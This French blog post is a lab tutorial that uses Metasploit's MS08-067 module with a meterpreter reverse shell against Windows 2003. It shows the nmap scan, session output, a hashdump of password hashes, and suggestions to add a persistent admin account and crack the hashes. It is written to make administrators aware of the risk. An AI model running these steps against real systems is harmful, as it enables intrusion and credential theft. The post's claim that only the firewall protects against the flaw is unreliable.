mai 5, 2011
Sécurité – Obtenir une session sur un serveur Windows (2000,XP,2003) distant
Après une petite pause, voici de nouveaux articles qui il me semble sont importants pour la sécurité de nos plateformes.
En effet, je pars du principe qu’il est indispensable de connaître les failles de nos systèmes pour pouvoir mieux les sécuriser.
Pour ce faire, je me suis donc mis en mode « MetaSploit« , durant une semaine de vacances afin de tester notre système « favori » ( pour un linuxien, c’est très dur de le dire ) Windows 2003/XP.

1- Préparation du pc en mode « Hacker »
Dans un premier temps, récupération du live cd « BackTrack ».
Url : http://www.backtrack-linux.org/downloads/
Version : Bactrack 4 R2
Une fois téléchargé, vous avez deux possibilités :
- soit monter l’ISO, sur une machine virtuelle ( Vmware Wokstation, par exemple ), ce que je vous conseille fortement de faire. Cette méthode va limiter les impacts sur un réseau « Host Only » privé. Il s’agit de la meilleure méthode à mon avis, vous préparez une autre machine virtuelle en serveur win2k3 sur ce même réseau, et vous pourrez effectuer tous les tests que vous souhaitez sans effet indésirable sur des serveurs de production.
- soit graver l’ISO et redémarrer son pc sous Backtrack, mais les tests s’effectueront sur votre réseau,.. de test ou de production ??!!, soyez vigilants.
Une fois démarré, vous arrivez sur la distribution backtrack en mode console. Pour ce que nous allons faire, il n’y a pas forcément besoin de lancer l’interface graphique.
Les informations de connexion sont les suivants :
- Username : root
- Password : toor
2- Cartographie du réseau
Maintenant que nous sommes prêts à tester la sécurité de nos systèmes, nous allons récupérer les IP des serveurs Windows. Si vous connaissez déjà les IPs de vos serveurs, vous pouvez passer à l’étape suivante.
root@bt:~# nmap -O 10.0.0.0/24 - Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-05-05 10:33 CEST Nmap scan report for 10.0.0.10 Host is up (0.00055s latency). Not shown: 996 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:62:69:EE (VMware) Device type: general purpose Running: Microsoft Windows 2003 OS details: Microsoft Windows Server 2003 SP1 or SP2 Network Distance: 1 hop
Nous pouvons constater que le port 445 est ouvert, ce qui signifie qu’aucun pare feu n’est actif sur le système, ou très mal configuré.
3- Utilisation d’une faille pour obtenir une session
Comme nous l’avons vu précédemment, certains ports sont accessibles sur le serveur win2k3.
Nous allons donc utiliser « MetaSploit« , pour exploiter une faille et mettre en avant les risques encourus par le système.
3-1 Lancement de la console MetaSploit
root@bt:~# cd /pentest/exploits/framework3/
root@bt:~# ./msfconsole
-
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12537 updated today (2011.05.04)
msf >
3-2 Mise à jour des exploits - MetaSploit
Afin d'obtenir toutes les dernières versions des exploits, nous executons une mise à jour au sein de la console.
msf > msfupdate [*] exec: msfupdate [*] [*] Attempting to update the Metasploit Framework... [*] At revision 12541.
It’s GOOD, continuons !
4- Exploitation d’une faille sur le port 445
Une faille a été découverte récemment qui met à mal la plupart des systèmes Microsoft Windows de win2k à win2k3 SP2 en passant par XP SP3. Cette faille permet l’exécution de code arbitraire à travers le Microsoft Windows Server Service. Nous allons tester l’exploit sur notre serveur win2k3.
Pour ce faire, vous devez spécifier 2 variables LHOST et RHOST. Il s’agit pour LHOST de l’@IP local ( backtrack host ) et RHOST correspond à l’@IP du serveur Microsoft distant.
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set rhost $RHOST msf exploit(ms08_067_netapi) > set lhost $LHOST msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.0.0.23:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] We could not detect the language pack, defaulting to English [*] Selected Target: Windows 2003 SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (749056 bytes) to 10.0.0.10 [*] Meterpreter session 1 opened (10.0.0.23:4444 -> 10.0.0.10:1028) at Thu May 05 11:01:05 +0200 2011 meterpreter >
et voilà le tour est joué, vous avez une session ouverte sur l’hôte distant. Vous pouvez à travers « Meterpreter, interagir sur le système distant ».
- Upload de fichiers à distance, via la commande « upload file_on_backtrack c:\\directory\\ »
- Download de fichiers, via la commande « download c:\\directory\\file_to_download where_download_on_backtrack_system »
- Obtenir un shell, via la commande « shell »
- Récupérer un Hashdump,…, correspondance username/hash password, via la commande « hashdump »
meterpreter > hashdump Administrator:500:e52cac674a7a9a224a3b108f3fa6cb7d:8046f7eaee8fc128ad06bdd841c7786c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SUPPORT_388945a0?:1001:aad3b435b51404eeaad3b435b51404ee:6c2ce697a409f3ff01caf544a76fdceb:::
A ce niveau les possibilités sont infinies, vous pouvez créer un nouvel utilisateur appartenant au groupe administrateur, pour un usage ultérieur. Vous pouvez également à travers la commande « hashdump » sous Meterpreter, obtenir les hash des utilisateurs et les déchiffrer grâce à « John The Ripper« .
5- Conclusion
Après quelques recherches la seule manière de contourner cet exploit, est d’activer le firewall de windows. Je n’ai jamais été très fan de ce pare feu, mais il s’agit de la seule solution à l’heure actuelle pour protéger l’intégrité de son système Windows, ou sinon passer sous LINUX
.
J’ai fait cet article pour sensibiliser les administrateurs systèmes à bien connaître les systèmes qu’ils administrent au quotidien. En effet, mieux vaut être paranoiaque plutôt que insouciant, néanmoins en privilégiant la disponibilité de la production.
Commentaires récents